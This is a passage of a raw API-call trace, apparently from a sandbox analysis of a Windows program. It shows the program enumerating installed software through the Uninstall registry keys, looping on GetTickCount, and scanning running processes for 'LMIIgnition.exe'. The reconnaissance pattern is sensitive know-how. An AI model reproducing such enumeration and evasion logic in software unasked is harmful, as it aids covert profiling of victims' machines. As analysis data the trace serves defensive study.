lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573" [0047.209] LocalFree (hMem=0x721848) returned 0x0 [0047.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.209] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.209] RegCloseKey (hKey=0x380) returned 0x0 [0047.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.209] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.209] RegCloseKey (hKey=0x380) returned 0x0 [0047.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB982573", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.209] LocalFree (hMem=0x745b68) returned 0x0 [0047.209] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2d, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.209] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.209] lstrlenA (lpString="\\") returned 1 [0047.209] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.209] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.209] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.209] lstrlenA (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0047.209] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.209] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0047.210] LocalFree (hMem=0x721848) returned 0x0 [0047.210] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.210] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x64) returned 0x0 [0047.210] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x74d998 [0047.210] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x74d998, lpcbData=0xeed94*=0x64 | out: lpType=0x0, lpData=0x74d998*=0x22, lpcbData=0xeed94*=0x64) returned 0x0 [0047.210] RegCloseKey (hKey=0x380) returned 0x0 [0047.210] IStream:Commit (This=0x747360, grfCommitFlags=0x74d998) returned 0x0 [0047.210] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.210] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x74d998 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.210] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.210] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3e | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.210] RegCloseKey (hKey=0x380) returned 0x0 [0047.210] lstrlenA (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0047.210] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.210] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.210] LocalFree (hMem=0x74a670) returned 0x0 [0047.210] LocalFree (hMem=0x74d998) returned 0x0 [0047.210] LocalFree (hMem=0x745b68) returned 0x0 [0047.210] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2e, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.210] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.210] lstrlenA (lpString="\\") returned 1 [0047.210] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.210] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.210] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.210] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.210] lstrlenA (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0047.210] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.210] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.210] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}" [0047.210] LocalFree (hMem=0x721848) returned 0x0 [0047.211] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.211] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.211] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.211] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.211] RegCloseKey (hKey=0x380) returned 0x0 [0047.211] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.211] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.211] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.211] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.211] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x74a670, lpcbData=0xeed90*=0x3e | out: lpType=0x0, lpData=0x74a670*=0x4d, lpcbData=0xeed90*=0x3e) returned 0x0 [0047.211] RegCloseKey (hKey=0x380) returned 0x0 [0047.211] lstrlenA (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0047.211] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.211] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74a670) returned 0x0 [0047.211] LocalFree (hMem=0x74a670) returned 0x0 [0047.211] LocalFree (hMem=0x721848) returned 0x0 [0047.211] LocalFree (hMem=0x745b68) returned 0x0 [0047.211] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x2f, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0047.211] RegCloseKey (hKey=0x258) returned 0x0 [0047.211] IStream:Commit (This=0x747360, grfCommitFlags=0xeedcc) returned 0x0 [0047.211] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedcc) returned 0x0 [0047.211] GetHGlobalFromStream (in: pstm=0x747360, phglobal=0xeeddc | out: phglobal=0xeeddc) returned 0x0 [0047.211] IStream:LockRegion (This=0x747360, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.211] LocalAlloc (uFlags=0x40, uBytes=0x66f) returned 0x74c658 [0047.211] GlobalLock (hMem=0x87b0004) returned 0x74d2c0 [0047.211] GlobalUnlock (hMem=0x87b0004) returned 0 [0047.212] GetHGlobalFromStream (in: pstm=0x7473d8, phglobal=0xeeddc | out: phglobal=0xeeddc) returned 0x0 [0047.212] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.212] LocalAlloc (uFlags=0x40, uBytes=0x777) returned 0x750088 [0047.212] GlobalLock (hMem=0x87b0014) returned 0x74f980 [0047.212] GlobalUnlock (hMem=0x87b0014) returned 0 [0047.212] IUnknown:Release (This=0x747360) returned 0x0 [0047.212] IUnknown:Release (This=0x7473d8) returned 0x0 [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.212] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.213] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.214] GetTickCount () returned 0x1387d [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.215] GetTickCount () returned 0x1388c [0047.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0047.286] Process32First (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.286] StrStrIA (lpFirst="[System Process]", lpSrch="LMIIgnition.exe") returned 0x0 [0047.286] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.287] StrStrIA (lpFirst="System", lpSrch="LMIIgnition.exe") returned 0x0 [0047.287] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.287] StrStrIA (lpFirst="smss.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.287] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.288] StrStrIA (lpFirst="csrss.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.288] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.288] StrStrIA (lpFirst="wininit.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.288] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.289] StrStrIA (lpFirst="csrss.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.289] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.289] StrStrIA (lpFirst="winlogon.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.289] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.290] StrStrIA (lpFirst="services.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.290] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.290] StrStrIA (lpFirst="lsass.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.290] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.290] StrStrIA (lpFirst="lsm.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.290] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.291] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.291] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.291] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.291] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: 